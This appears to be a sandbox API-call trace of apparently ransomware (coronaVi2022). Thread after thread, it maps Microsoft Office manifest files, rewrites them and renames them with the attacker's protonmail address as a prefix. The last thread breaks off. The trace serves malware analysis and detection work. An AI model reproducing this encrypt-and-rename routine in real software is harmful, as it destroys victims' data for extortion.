	[0109.106] CreateFileMappingA (hFile=0x11b0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5fb, lpName=0x0) returned 0x1288
	[0109.106] MapViewOfFile (hFileMappingObject=0x1288, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x440000
	[0109.141] UnmapViewOfFile (lpBaseAddress=0x440000) returned 1
	[0109.141] CloseHandle (hObject=0x1288) returned 1
	[0109.141] GetCurrentThreadId () returned 0x2054
	[0109.141] FlushFileBuffers (hFile=0x11b0) returned 1
	[0109.145] CloseHandle (hObject=0x11b0) returned 1
	[0109.145] _swprintf (in: param_1=0x34d9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml") returned 124
	[0109.145] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osm.osm.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.OSM.OSM.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.osm.osm.x-none.msi.16.x-none.xml")) returned 1
	[0109.146] free (_Block=0x51fa0c0) 
	[0109.146] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1019
	os_tid = 0x2060

	[0109.152] _alloca_probe () returned 0x40328a
	[0109.152] GetCurrentThreadId () returned 0x2060
	[0109.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
	[0109.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmmui.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1288
	[0109.153] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x34dff5c | out: lpFileSize=0x34dff5c*=11048) returned 1
	[0109.153] CreateFileMappingA (hFile=0x1288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b2f, lpName=0x0) returned 0x128c
	[0109.153] MapViewOfFile (hFileMappingObject=0x128c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x440000
	[0109.156] UnmapViewOfFile (lpBaseAddress=0x440000) returned 1
	[0109.157] CloseHandle (hObject=0x128c) returned 1
	[0109.157] GetCurrentThreadId () returned 0x2060
	[0109.157] FlushFileBuffers (hFile=0x1288) returned 1
	[0109.162] CloseHandle (hObject=0x1288) returned 1
	[0109.162] _swprintf (in: param_1=0x34d9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.osmmui.msi.16.en-us.xml") returned 115
	[0109.162] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmmui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.osmmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.osmmui.msi.16.en-us.xml")) returned 1
	[0109.165] free (_Block=0x51fc0d0) 
	[0109.165] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1020
	os_tid = 0x2064

	[0109.161] _alloca_probe () returned 0x40328a
	[0109.162] GetCurrentThreadId () returned 0x2064
	[0109.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml", dwFileAttributes=0x80) returned 1
	[0109.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x264
	[0109.164] GetFileSizeEx (in: hFile=0x264, lpFileSize=0x35dff5c | out: lpFileSize=0x35dff5c*=2310) returned 1
	[0109.164] CreateFileMappingA (hFile=0x264, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x90b, lpName=0x0) returned 0x32c
	[0109.164] MapViewOfFile (hFileMappingObject=0x32c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x440000
	[0109.166] UnmapViewOfFile (lpBaseAddress=0x440000) returned 1
	[0109.166] CloseHandle (hObject=0x32c) returned 1
	[0109.166] GetCurrentThreadId () returned 0x2064
	[0109.166] FlushFileBuffers (hFile=0x264) returned 1
	[0109.168] CloseHandle (hObject=0x264) returned 1
	[0109.169] _swprintf (in: param_1=0x35d9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml") returned 128
	[0109.169] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.OSMUX.OSMUX.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.osmux.osmux.x-none.msi.16.x-none.xml")) returned 1
	[0109.170] free (_Block=0x52000f0) 
	[0109.170] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1021
	os_tid = 0x2068

	[0109.172] _alloca_probe () returned 0x40328a
	[0109.172] GetCurrentThreadId () returned 0x2068
	[0109.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
	[0109.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x32c
	[0109.173] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x34dff5c | out: lpFileSize=0x34dff5c*=11146) returned 1
	[0109.173] CreateFileMappingA (hFile=0x32c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2b93, lpName=0x0) returned 0x1288
	[0109.173] MapViewOfFile (hFileMappingObject=0x1288, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x440000
	[0109.176] UnmapViewOfFile (lpBaseAddress=0x440000) returned 1
	[0109.176] CloseHandle (hObject=0x1288) returned 1
	[0109.176] GetCurrentThreadId () returned 0x2068
	[0109.176] FlushFileBuffers (hFile=0x32c) returned 1
	[0109.178] CloseHandle (hObject=0x32c) returned 1
	[0109.179] _swprintf (in: param_1=0x34d9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.osmuxmui.msi.16.en-us.xml") returned 117
	[0109.179] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.osmuxmui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.osmuxmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.osmuxmui.msi.16.en-us.xml")) returned 1
	[0109.179] free (_Block=0x52000f0) 
	[0109.179] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1022
	os_tid = 0x206c

	[0109.180] _alloca_probe () returned 0x40328a
	[0109.181] GetCurrentThreadId () returned 0x206c
	[0109.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", dwFileAttributes=0x80) returned 1
	[0109.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1288
	[0109.184] GetFileSizeEx (in: hFile=0x1288, lpFileSize=0x35dff5c | out: lpFileSize=0x35dff5c*=94612) returned 1
	[0109.184] CreateFileMappingA (hFile=0x1288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17197, lpName=0x0) returned 0x1298
	[0109.185] MapViewOfFile (hFileMappingObject=0x1298, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2370000
	[0109.204] UnmapViewOfFile (lpBaseAddress=0x2370000) returned 1
	[0109.205] CloseHandle (hObject=0x1298) returned 1
	[0109.205] GetCurrentThreadId () returned 0x206c
	[0109.205] FlushFileBuffers (hFile=0x1288) returned 1
	[0109.259] CloseHandle (hObject=0x1288) returned 1
	[0109.259] _swprintf (in: param_1=0x35d9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml") returned 132
	[0109.259] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.outlook.outlook.x-none.msi.16.x-none.xml")) returned 1
	[0109.260] free (_Block=0x51fa0c0) 
	[0109.260] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1023
	os_tid = 0x2070

	[0109.208] _alloca_probe () returned 0x40328a
	[0109.208] GetCurrentThreadId () returned 0x2070
	[0109.208] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
	[0109.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlookmui.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x129c
	[0109.209] GetFileSizeEx (in: hFile=0x129c, lpFileSize=0x34dff5c | out: lpFileSize=0x34dff5c*=96644) returned 1
	[0109.209] CreateFileMappingA (hFile=0x129c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17987, lpName=0x0) returned 0x12a0
	[0109.210] MapViewOfFile (hFileMappingObject=0x12a0, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2370000
	[0109.229] UnmapViewOfFile (lpBaseAddress=0x2370000) returned 1
	[0109.230] CloseHandle (hObject=0x12a0) returned 1
	[0109.230] GetCurrentThreadId () returned 0x2070
	[0109.230] FlushFileBuffers (hFile=0x129c) returned 1
	[0109.538] CloseHandle (hObject=0x129c) returned 1
	[0109.539] _swprintf (in: param_1=0x34d9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.outlookmui.msi.16.en-us.xml") returned 119
	[0109.539] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.outlookmui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.outlookmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.outlookmui.msi.16.en-us.xml")) returned 1
	[0109.540] free (_Block=0x51fc0d0) 
	[0109.540] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1024
	os_tid = 0x2074

	[0109.318] _alloca_probe () returned 0x40328a
	[0109.319] GetCurrentThreadId () returned 0x2074
	[0109.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", dwFileAttributes=0x80) returned 1
	[0109.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1294
	[0109.320] GetFileSizeEx (in: hFile=0x1294, lpFileSize=0x381ff5c | out: lpFileSize=0x381ff5c*=720348) returned 1
	[0109.320] CreateFileMappingA (hFile=0x1294, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xafde7, lpName=0x0) returned 0x268
	[0109.320] MapViewOfFile (hFileMappingObject=0x268, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2b50000
	[0109.460] UnmapViewOfFile (lpBaseAddress=0x2b50000) returned 1
	[0109.467] CloseHandle (hObject=0x268) returned 1
	[0109.467] GetCurrentThreadId () returned 0x2074
	[0109.467] FlushFileBuffers (hFile=0x1294) returned 1
	[0109.561] CloseHandle (hObject=0x1294) returned 1
	[0109.561] _swprintf (in: param_1=0x3819f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml") returned 138
	[0109.561] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.powerpivot.powerpivot.x-none.msi.16.x-none.xml")) returned 1
	[0109.562] free (_Block=0x5205118) 
	[0109.562] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1025
	os_tid = 0x207c

	[0109.485] _alloca_probe () returned 0x40328a
	[0109.486] GetCurrentThreadId () returned 0x207c
	[0109.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", dwFileAttributes=0x80) returned 1
	[0109.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x268
	[0109.487] GetFileSizeEx (in: hFile=0x268, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=103844) returned 1
	[0109.487] CreateFileMappingA (hFile=0x268, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x195a7, lpName=0x0) returned 0x340
	[0109.487] MapViewOfFile (hFileMappingObject=0x340, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0109.508] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0109.510] CloseHandle (hObject=0x340) returned 1
	[0109.510] GetCurrentThreadId () returned 0x207c
	[0109.510] FlushFileBuffers (hFile=0x268) returned 1
	[0109.567] CloseHandle (hObject=0x268) returned 1
	[0109.567] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml") returned 138
	[0109.567] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.powerpoint.powerpoint.x-none.msi.16.x-none.xml")) returned 1
	[0109.568] free (_Block=0x51fa0c0) 
	[0109.568] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1026
	os_tid = 0x2080

	[0109.513] _alloca_probe () returned 0x40328a
	[0109.513] GetCurrentThreadId () returned 0x2080
	[0109.513] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
	[0109.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x340
	[0109.514] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2c4ff5c | out: lpFileSize=0x2c4ff5c*=26782) returned 1
	[0109.514] CreateFileMappingA (hFile=0x340, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x68ab, lpName=0x0) returned 0x12a4
	[0109.514] MapViewOfFile (hFileMappingObject=0x12a4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x440000
	[0109.520] UnmapViewOfFile (lpBaseAddress=0x440000) returned 1
	[0109.520] CloseHandle (hObject=0x12a4) returned 1
	[0109.520] GetCurrentThreadId () returned 0x2080
	[0109.520] FlushFileBuffers (hFile=0x340) returned 1
	[0109.569] CloseHandle (hObject=0x340) returned 1
	[0109.569] _swprintf (in: param_1=0x2c49f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.powerpointmui.msi.16.en-us.xml") returned 122
	[0109.569] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.powerpointmui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.powerpointmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.powerpointmui.msi.16.en-us.xml")) returned 1
	[0109.570] free (_Block=0x52010f8) 
	[0109.570] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1027
	os_tid = 0x2084

	[0109.522] _alloca_probe () returned 0x40328a
	[0109.523] GetCurrentThreadId () returned 0x2084
	[0109.523] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml", dwFileAttributes=0x80) returned 1
	[0109.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12a8
	[0109.524] GetFileSizeEx (in: hFile=0x12a8, lpFileSize=0x33cff5c | out: lpFileSize=0x33cff5c*=29766) returned 1
	[0109.524] CreateFileMappingA (hFile=0x12a8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x744b, lpName=0x0) returned 0x12ac
	[0109.525] MapViewOfFile (hFileMappingObject=0x12ac, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x440000
	[0109.531] UnmapViewOfFile (lpBaseAddress=0x440000) returned 1
	[0109.531] CloseHandle (hObject=0x12ac) returned 1
	[0109.531] GetCurrentThreadId () returned 0x2084
	[0109.531] FlushFileBuffers (hFile=0x12a8) returned 1
	[0109.534] CloseHandle (hObject=0x12a8) returned 1
	[0109.534] _swprintf (in: param_1=0x33c9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Project.Project.x-none.msi.16.x-none.xml") returned 132
	[0109.534] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.project.project.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Project.Project.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.project.project.x-none.msi.16.x-none.xml")) returned 1
	[0109.535] free (_Block=0x51fb0c8) 
	[0109.535] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1028
	os_tid = 0x2088

	[0109.607] _alloca_probe () returned 0x40328a
	[0109.607] GetCurrentThreadId () returned 0x2088
	[0109.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
	[0109.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.projectmui.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x268
	[0109.608] GetFileSizeEx (in: hFile=0x268, lpFileSize=0x35dff5c | out: lpFileSize=0x35dff5c*=32926) returned 1
	[0109.608] CreateFileMappingA (hFile=0x268, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x80ab, lpName=0x0) returned 0x1294
	[0109.608] MapViewOfFile (hFileMappingObject=0x1294, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x440000
	[0109.617] UnmapViewOfFile (lpBaseAddress=0x440000) returned 1
	[0109.617] CloseHandle (hObject=0x1294) returned 1
	[0109.617] GetCurrentThreadId () returned 0x2088
	[0109.617] FlushFileBuffers (hFile=0x268) returned 1
	[0109.623] CloseHandle (hObject=0x268) returned 1
	[0109.623] _swprintf (in: param_1=0x35d9f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.projectmui.msi.16.en-us.xml") returned 119
	[0109.623] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.projectmui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.projectmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\coronavi2022@protonmail.ch___c2rmanifest.projectmui.msi.16.en-us.xml")) returned 1
	[0109.624] free (_Block=0x52000f0) 
	[0109.624] RtlExitUserThread (Status=0x0) 

Thread:
	id = 1029
	os_tid = 0x208c

	[0109.619] _alloca_probe () returned 0x40328a
	[0109.619] GetCurrentThreadId () returned 0x208c
	[0109.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml", dwFileAttributes=0x80) returned 1
	[0109.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Proof.Culture.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.proof.culture.msi.16.en-us.xml"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x129c
	[0109.622] GetFileSizeEx (in: hFile=0x129c, lpFileSize=0x2c4ff5c | out: lpFileSize=0x2c4ff5c*=25518) returned 1
	[0109.622] CreateFileMappingA (hFile=0x129c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x63bb, lpName=0x0) returned 0x12a8
	[0109.622] MapViewOfFile (hFileMappingObject=0x12a8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x440000
	[0109.629] UnmapViewOfFile (lpBaseAddress=0x440000) returned 1
	[0109.630] CloseHandle (hObject=0x12a8) returned 1
	[0109.630] GetCurrentThreadId () returned 0x208c
	[0109.630] FlushFileBuffers (hFile=0x129c) returned 1
	[0109.901] CloseHandle (hObject=0x129c) returned 1
	[0109.901] _swprintf (in: param_1=0x2c49f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\Integration\\coronaVi2022@protonmail.ch___C2RManifest.Proof.Culture.msi.16.en-us.xml") returned 122
